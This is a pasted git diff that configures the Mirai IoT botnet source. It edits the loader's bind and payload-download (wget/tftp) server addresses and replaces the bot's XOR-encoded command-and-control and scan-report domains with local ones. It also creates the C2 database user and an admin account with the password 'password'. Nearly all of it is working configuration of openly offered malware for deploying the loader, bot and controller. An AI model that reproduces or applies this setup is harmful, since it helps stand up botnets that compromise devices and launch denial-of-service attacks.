· 7 years ago · Dec 31, 2018, 08:58 PM
1diff --git a/loader/src/main.c b/loader/src/main.c
2index d44bea3..10ecb16 100755
3--- a/loader/src/main.c
4+++ b/loader/src/main.c
5@@ -34,8 +34,8 @@ int main(int argc, char **args)
6 addrs_len = 2;
7 addrs = calloc(addrs_len, sizeof (ipv4_t));
8
9- addrs[0] = inet_addr("192.168.0.1"); // Address to bind to
10- addrs[1] = inet_addr("192.168.1.1"); // Address to bind to
11+ addrs[0] = inet_addr("192.168.1.3"); // Address to bind to
12+ // addrs[1] = inet_addr("192.168.1.1"); // Address to bind to
13 #endif
14
15 if (argc == 2)
16@@ -50,7 +50,7 @@ int main(int argc, char **args)
17 }
18
19 /* wget address tftp address */
20- if ((srv = server_create(sysconf(_SC_NPROCESSORS_ONLN), addrs_len, addrs, 1024 * 64, "100.200.100.100", 80, "100.200.100.100")) == NULL)
21+ if ((srv = server_create(sysconf(_SC_NPROCESSORS_ONLN), addrs_len, addrs, 1024 * 64, "192.168.1.3", 80, "192.168.1.3")) == NULL)
22 {
23 printf("Failed to initialize server. Aborting\n");
24 return 1;
25diff --git a/mirai/bot/table.c b/mirai/bot/table.c
26index 13b341e..2429384 100755
27--- a/mirai/bot/table.c
28+++ b/mirai/bot/table.c
29@@ -15,10 +15,10 @@ struct table_value table[TABLE_MAX_KEYS];
30
31 void table_init(void)
32 {
33- add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com
34+ add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x4E\x4D\x41\x43\x4E\x22", 10); // cnc.local
35 add_entry(TABLE_CNC_PORT, "\x22\x35", 2); // 23
36
37- add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 29); // report.changeme.com
38+ add_entry(TABLE_SCAN_CB_DOMAIN, "\x41\x4C\x41\x0C\x4E\x4D\x41\x43\x4E\x22", 10); // cnc.local
39 add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2); // 48101
40
41 add_entry(TABLE_EXEC_SUCCESS, "\x4E\x4B\x51\x56\x47\x4C\x4B\x4C\x45\x02\x56\x57\x4C\x12\x22", 15);
42diff --git a/mirai/cnc/main.go b/mirai/cnc/main.go
43index 670b7a7..9e7e56a 100755
44--- a/mirai/cnc/main.go
45+++ b/mirai/cnc/main.go
46@@ -8,7 +8,7 @@ import (
47 )
48
49 const DatabaseAddr string = "127.0.0.1"
50-const DatabaseUser string = "root"
51+const DatabaseUser string = "mirai"
52 const DatabasePass string = "password"
53 const DatabaseTable string = "mirai"
54
55diff --git a/scripts/db.sql b/scripts/db.sql
56index 6d873dc..4f90c3e 100644
57--- a/scripts/db.sql
58+++ b/scripts/db.sql
59@@ -1,4 +1,6 @@
60+DROP DATABASE IF EXISTS mirai;
61 CREATE DATABASE mirai;
62+USE mirai;
63
64 CREATE TABLE `history` (
65 `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
66@@ -34,3 +36,6 @@ CREATE TABLE `whitelist` (
67 PRIMARY KEY (`id`),
68 KEY `prefix` (`prefix`)
69 );
70+
71+GRANT ALL PRIVILEGES ON mirai.* To 'mirai'@'localhost' IDENTIFIED BY 'password';
72+INSERT INTO users VALUES (NULL, 'mirai', 'password', 0, 0, 0, 0, -1, 1, 30, '');
73\ No newline at end of file